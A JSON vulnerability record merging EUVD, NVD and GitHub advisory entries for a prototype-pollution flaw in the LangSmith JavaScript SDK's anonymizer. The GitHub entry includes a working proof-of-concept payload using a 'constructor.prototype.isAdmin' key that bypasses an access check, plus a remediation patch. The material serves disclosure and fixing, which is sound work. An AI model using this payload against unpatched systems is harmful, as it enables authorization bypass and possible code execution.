{"id":"EUVD-2026-21594","revision":null,"records":[{"revision":"e76417cdecba41fea1f4a9ab54827a3b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40190","aliases":[],"title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() utility. The baseAssignValue() function only guards against the __proto__ key, but fails to prevent traversal via constructor.prototype. This allows an attacker who controls keys in data processed by the createAnonymizer() API to pollute Object.prototype, affecting all objects in the Node.js process. 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This vulnerability is fixed in 0.5.18.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","score":5.6,"severity":null}],"references":["https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21594","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 7:47:57 PM","dateUpdated":"Apr 13, 2026, 4:13:45 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-3046","title":"IBM Concert: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-19921","CVE-2021-23337","CVE-2024-3651","CVE-2024-39338","CVE-2024-45590","CVE-2025-13465","CVE-2025-15284","CVE-2025-15599","CVE-2025-22874","CVE-2025-47273","CVE-2025-47907","CVE-2025-52881","CVE-2025-53643","CVE-2025-55184","CVE-2025-58056","CVE-2025-58188","CVE-2025-58189","CVE-2025-61723","CVE-2025-61730","CVE-2025-64649","CVE-2025-64756","CVE-2025-67221","CVE-2025-68121","CVE-2025-68146","CVE-2026-0540","CVE-2026-2327","CVE-2026-23490","CVE-2026-23897","CVE-2026-2391","CVE-2026-23949","CVE-2026-24486","CVE-2026-25528","CVE-2026-25547","CVE-2026-25639","CVE-2026-25990","CVE-2026-26007","CVE-2026-26019","CVE-2026-26996","CVE-2026-27142","CVE-2026-27212","CVE-2026-27699","CVE-2026-27903","CVE-2026-27904","CVE-2026-28684","CVE-2026-29063","CVE-2026-29181","CVE-2026-2950","CVE-2026-31808","CVE-2026-31900","CVE-2026-32274","CVE-2026-32288","CVE-2026-32597","CVE-2026-32630","CVE-2026-32887","CVE-2026-32952","CVE-2026-33186","CVE-2026-33532","CVE-2026-33750","CVE-2026-33814","CVE-2026-33816","CVE-2026-33916","CVE-2026-34043","CVE-2026-34073","CVE-2026-34077","CVE-2026-3520","CVE-2026-35469","CVE-2026-35515","CVE-2026-3627","CVE-2026-39823","CVE-2026-39825","CVE-2026-39826","CVE-2026-39892","CVE-2026-39984","CVE-2026-40175","CVE-2026-40179","CVE-2026-40181","CVE-2026-40190","CVE-2026-40347","CVE-2026-41066","CVE-2026-41182","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-41324","CVE-2026-41425","CVE-2026-41481","CVE-2026-41488","CVE-2026-41602","CVE-2026-41636","CVE-2026-42151","CVE-2026-42154","CVE-2026-42198","CVE-2026-42211","CVE-2026-42338","CVE-2026-42342","CVE-2026-42561","CVE-2026-42577","CVE-2026-43870","CVE-2026-44405","CVE-2026-44431","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44728","CVE-2026-4539","CVE-2026-45409","CVE-2026-45736","CVE-2026-46625","CVE-2026-4800","CVE-2026-4923","CVE-2026-4926","CVE-2026-7246","CVE-2026-8723"]},{"id":"openSUSE-SU-2026:11284-1","title":"python313-langsmith-0.10.3-1.1 on GA media","vulnerabilityIds":["CVE-2026-40190","CVE-2026-41182","CVE-2026-45134"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21594","identifiers":["EUVD-2026-21594","CVE-2026-40190","GHSA-fw9q-39r9-c252"]},"retained":false,"historicalAffected":[]},{"revision":"5ecb6d9f9bf2464b8e7c8777b59d61bb","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40190","aliases":[],"title":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. Prior to 0.5.18, the LangSmith JavaScript/TypeScript SDK (langsmith) contains an incomplete prototype pollution fix in its internally vendored lodash set() uti…","description":"LangSmith Client SDKs provide SDK's for interacting with the LangSmith platform. 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This vulnerability is fixed in 0.5.18.","state":0,"publishedAt":"2026-04-10T20:16:24.043+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","score":5.6,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40190","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-1321"],"productCriteria":["cpe:2.3:a:langchain:langsmith:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-10T20:16:24.043","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40190","identifiers":["CVE-2026-40190"]},"retained":false,"historicalAffected":[]},{"revision":"5ccd5c41aa384e26a9e8f82c2027f806","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-fw9q-39r9-c252","aliases":["CVE-2026-40190"],"title":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","description":"# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record<string, any>, key: string, value: any) {\n  if (key === \"__proto__\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value: value, writable: true,\n    });\n  } else {\n    object[key] = value;  // ← No guard for \"constructor\" or \"prototype\" keys\n  }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n  }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n  { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin);  // undefined\n\nconst maliciousInput = {\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n  }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin);   // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin);     // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n  if (user.isAdmin) return \"ACCESS GRANTED\";\n  return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" }));  // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n  if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value, writable: true,\n    });\n  } else {\n    object[key] = value;\n  }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101","state":0,"publishedAt":"2026-04-10T20:18:02+00:00","modifiedAt":"2026-09-10T03:50:44.182039+00:00","affected":[{"ecosystem":"npm","name":"langsmith","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.5.18"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252","https://nvd.nist.gov/vuln/detail/CVE-2026-40190","https://github.com/langchain-ai/langsmith-sdk/pull/2690","https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3","https://github.com/langchain-ai/langsmith-sdk"],"sourceUrl":"https://github.com/advisories/GHSA-fw9q-39r9-c252","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fw9q-39r9-c252","identifiers":["GHSA-fw9q-39r9-c252","CVE-2026-40190"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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